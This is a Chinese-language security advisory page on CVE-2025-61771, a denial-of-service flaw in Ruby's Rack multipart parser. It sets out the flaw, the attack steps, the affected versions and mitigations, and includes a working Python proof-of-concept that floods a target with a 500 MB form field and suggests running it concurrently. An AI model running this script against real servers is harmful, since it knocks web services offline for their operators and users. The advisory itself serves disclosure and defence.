IPBUF安全漏洞报告
English
CVE-2025-61771 CVSS 7.5 高危

CVE-2025-61771 Rack Multipart解析器拒绝服务漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-61771
漏洞类型
拒绝服务(DoS)/ 内存耗尽
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rack(Ruby模块化Web服务器接口)

相关标签

拒绝服务DoS内存耗尽RackRubymultipart解析HTTPWeb安全高危漏洞CVE-2025-61771

漏洞概述

CVE-2025-61771是Rack Web服务器接口中的一个高危拒绝服务漏洞。Rack是Ruby生态系统中广泛使用的模块化Web服务器接口,为Ruby Web应用提供统一的HTTP请求和响应处理抽象。该漏洞存在于Rack::Multipart::Parser组件中,影响所有处理multipart/form-data表单提交的Rack应用程序。

在2.2.19、3.1.17和3.2.2之前的版本中,Rack::Multipart::Parser在解析multipart表单数据时,会将所有非文件表单字段(即不包含filename属性的部分)完全存储在内存中,以Ruby String对象的形式保存。这意味着攻击者可以通过发送包含超大文本字段的multipart/form-data请求(数百兆字节甚至更大),使目标进程消耗等量的内存资源,从而触发内存溢出(OOM)条件,导致拒绝服务。

该漏洞的攻击门槛极低,无需任何认证或用户交互即可通过网络远程利用。攻击的影响程度与请求大小和并发量成正比,可能导致工作进程崩溃或严重的垃圾回收开销。由于Rack是Ruby Web应用框架(如Rails、Sinatra等)的基础组件,该漏洞的影响范围非常广泛,涵盖了几乎所有基于Ruby的Web应用程序。该漏洞的CVSS评分为7.5分,属于高危级别,主要影响系统的可用性。

技术细节

Rack::Multipart::Parser是Rack框架中负责解析HTTP multipart/form-data请求的核心组件。在解析multipart请求时,它会区分文件字段(带有filename属性)和非文件字段(纯文本字段)。

漏洞的根本原因在于:对于非文件表单字段,解析器没有设置合理的大小限制,而是将整个字段内容完整地读入内存并存储为Ruby String对象。与文件字段不同,文件字段通常会被写入临时文件或流式处理,而非文件字段则被无条件地保留在内存中。

攻击利用方式如下:
1. 攻击者构造一个multipart/form-data类型的HTTP POST请求
2. 在请求体中包含一个不带filename属性的表单字段
3. 将该字段的值设置为超大文本数据(数百MB甚至数GB)
4. 发送该请求到目标Rack应用程序
5. Rack::Multipart::Parser会将整个字段内容加载到内存中
6. 当内存消耗超过系统限制时,进程触发OOM(Out of Memory)
7. 进程被操作系统终止,导致拒绝服务

如果攻击者同时发送多个此类并发请求,可以迅速耗尽服务器的所有可用内存资源,影响范围将更加严重。修复版本(2.2.19、3.1.17、3.2.2)引入了对非文件字段的合理大小限制(例如2 MiB),从根源上解决了这个问题。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统是否使用Rack框架(通过响应头、错误页面或技术栈指纹识别),确认目标处理multipart/form-data请求。
STEP 2
步骤2:构造恶意请求
攻击者构造一个multipart/form-data类型的HTTP POST请求,其中包含一个不带filename属性的超大文本字段(数百MB至数GB)。
STEP 3
步骤3:发送请求
攻击者将构造好的恶意请求发送到目标Rack应用程序的任意端点,无需任何认证或用户交互。
STEP 4
步骤4:触发内存耗尽
Rack::Multipart::Parser将整个超大文本字段加载到内存中作为Ruby String对象,导致进程内存使用量急剧上升。
STEP 5
步骤5:拒绝服务
当内存消耗超过系统限制时,操作系统触发OOM Killer终止进程,导致Web服务不可用。并发攻击可加速资源耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61771 PoC - Rack Multipart Parser DoS # This PoC demonstrates how to trigger memory exhaustion via large non-file form fields import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-app.com/upload" # Size in bytes (default: 500MB to trigger OOM) PAYLOAD_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 500 * 1024 * 1024 def generate_multipart_payload(field_name, field_value_size): """Generate a multipart/form-data request body with a large non-file field""" boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" body = f"--{boundary}\r\n" # Note: NO filename attribute - this is a non-file field stored entirely in memory body += f'Content-Disposition: form-data; name="{field_name}"\r\n\r\n' # Large text content that will be loaded entirely into memory body += "A" * field_value_size body += f"\r\n--{boundary}--\r\n" return body.encode(), boundary def exploit(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Payload size: {PAYLOAD_SIZE / (1024*1024):.0f} MB") body, boundary = generate_multipart_payload("large_field", PAYLOAD_SIZE) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)) } print(f"[*] Sending malicious multipart request...") try: response = requests.post(TARGET_URL, data=body, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - possible DoS success!") except requests.exceptions.ConnectionError: print("[+] Connection error - target may have crashed (OOM killed)!") if __name__ == "__main__": exploit() # Usage: python poc.py http://vulnerable-rack-app.com 524288000 # For concurrent attack, run multiple instances simultaneously

影响范围

Rack < 2.2.19
Rack 3.1.x < 3.1.17
Rack 3.2.x < 3.2.2

防御指南

临时缓解措施
在无法立即升级Rack版本的情况下,可以通过以下临时措施缓解风险:1)在Nginx等反向代理中设置client_max_body_size限制请求体大小(如限制为10MB);2)在应用层中间件中添加请求体大小检查,拒绝超过阈值的multipart请求;3)使用Apache mod_security等WAF规则过滤异常大的表单字段;4)配置操作系统的内存限制(如cgroups、ulimit)防止单个进程消耗过多内存;5)部署监控告警,及时发现异常内存使用情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表